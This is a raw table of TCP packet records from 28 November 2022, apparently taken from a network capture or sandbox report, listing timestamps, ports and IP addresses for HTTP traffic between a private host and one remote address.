Nov 28, 2022 20:45:13.383714914 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.383748055 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.383800030 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.383838892 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.383862019 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.383949995 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.384008884 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.435765982 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.435839891 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.435897112 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.435951948 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.436007023 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.436018944 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.436105967 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.436106920 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.436160088 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.436201096 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.436230898 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.436290026 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.436321974 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.436409950 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.436439991 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.436489105 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.436506033 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.436566114 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.436587095 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.436664104 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.436718941 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.436753988 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.436796904 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.436804056 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.436878920 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.436881065 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.436959982 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.436960936 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.437038898 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.437069893 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.437120914 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.437131882 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.437202930 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.437217951 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.437285900 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.437303066 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.437380075 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.437396049 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.437463999 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.437463999 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.437541962 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.437557936 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.437624931 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.437685013 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.437716961 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.437762976 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.437798023 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.437849045 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.437870979 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.437951088 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.438036919 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.438060999 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.438188076 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.438385963 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.438442945 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.438497066 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.438538074 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.438564062 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.438642025 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.438690901 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.438705921 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.438741922 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.438800097 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.438824892 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.438885927 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.438905954 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.439014912 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.439038038 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.439071894 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.439191103 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.439424992 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.439490080 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.439548969 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.439608097 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.439661980 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.439676046 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.439748049 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.439760923 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.439837933 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.439898968 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.439982891 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.440030098 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.440049887 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.440108061 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.440128088 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.440201044 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.440253019 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.440355062 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.440453053 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.440517902 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.440577030 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.440614939 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.440649033 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.440695047 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.440733910 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.440766096 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.440820932 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.440887928 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.440937996 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.440956116 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.441000938 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.441113949 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.441116095 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.441195011 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.441257000 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.441279888 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.441338062 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.441368103 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.441421986 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.441487074 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.441548109 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.441729069 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.441795111 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.441807985 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.441848993 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.441862106 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.441937923 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.441967964 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.442009926 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.442017078 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.442025900 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.442053080 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.442243099 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.442737103 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.442850113 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.442862034 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.442874908 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.442934990 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.442970991 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.443061113 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.443177938 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.443201065 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.443249941 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.443263054 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.443317890 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.443340063 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.443372965 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.443383932 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.443396091 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.443407059 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.443418026 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.443485022 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.443557024 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.444154978 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.444195032 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.444305897 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.444305897 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.460602999 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.460623026 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.460635900 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.460649014 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.460660934 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.460717916 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.460810900 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.460832119 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.460843086 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.460860014 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.460872889 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.460879087 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.460891008 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.460906029 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.460916996 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.460931063 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.460963964 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.461040020 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.461055994 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.461061954 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.461075068 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.461146116 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.461162090 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.461177111 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.461195946 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.461210012 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.461224079 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.461260080 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.461421967 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.461877108 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.461966991 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.461982012 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.461996078 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.462053061 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.462133884 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.472870111 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.472897053 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.472914934 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.472932100 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.472949028 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.472965956 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.472984076 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.473001957 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.473011971 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.473031998 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.473052979 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.473069906 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.473088026 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.473088980 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.473114014 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.473133087 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.473135948 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.473159075 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.473177910 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.473196030 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.473267078 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.473278046 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.473294020 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.473313093 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.473330975 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.473366976 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.473383904 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.473401070 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.473418951 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.473448992 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.473495960 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.473526001 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.473542929 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.473670006 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.473819017 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.473875999 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.474008083 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.474029064 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.474047899 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.474066973 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.474085093 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.474103928 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.474103928 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.474128962 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.474147081 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.474153996 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.474173069 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.474191904 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.474209070 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.474225998 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.474231005 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.474251986 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.474414110 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.474415064 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.475492954 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.475521088 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.475605011 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.475625038 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.475642920 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.475661993 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.475680113 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.475697994 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.475716114 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.475718975 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.475743055 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.475759983 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.475776911 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.475788116 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.475800037 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.475820065 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.475860119 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.475963116 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.475982904 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.476020098 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.476058006 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.476080894 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.476100922 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.476110935 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.476125956 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.476146936 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.476166010 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.476174116 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.476191044 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.476211071 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.476229906 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.476248026 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.476267099 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.476273060 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.476291895 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.476398945 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.476479053 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.476891994 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.477000952 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.477046967 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.477056980 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.477078915 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.477111101 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.477227926 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.485049963 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.485080004 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.485104084 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.485126972 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.485148907 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.485172033 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.485194921 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.485215902 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.485215902 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.485224962 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.485260010 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.485289097 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.485311031 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.485332966 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.485356092 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.485378027 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.485383987 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.485433102 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.485574007 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.485624075 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.485651970 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.485676050 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.485698938 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.485721111 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.485743999 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.485753059 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.485779047 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.485805988 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.485805988 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.485837936 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.485862017 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.485886097 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.485887051 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.485915899 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.486088991 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.486088991 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.486397982 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.486426115 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.486449003 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.486470938 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.486494064 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.486576080 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.486670971 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.486681938 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.486716986 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.486740112 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.486761093 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.486783028 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.486804962 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.486826897 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.486835003 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.486835003 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.486864090 CET	80	49811	172.67.169.218	192.168.11.20
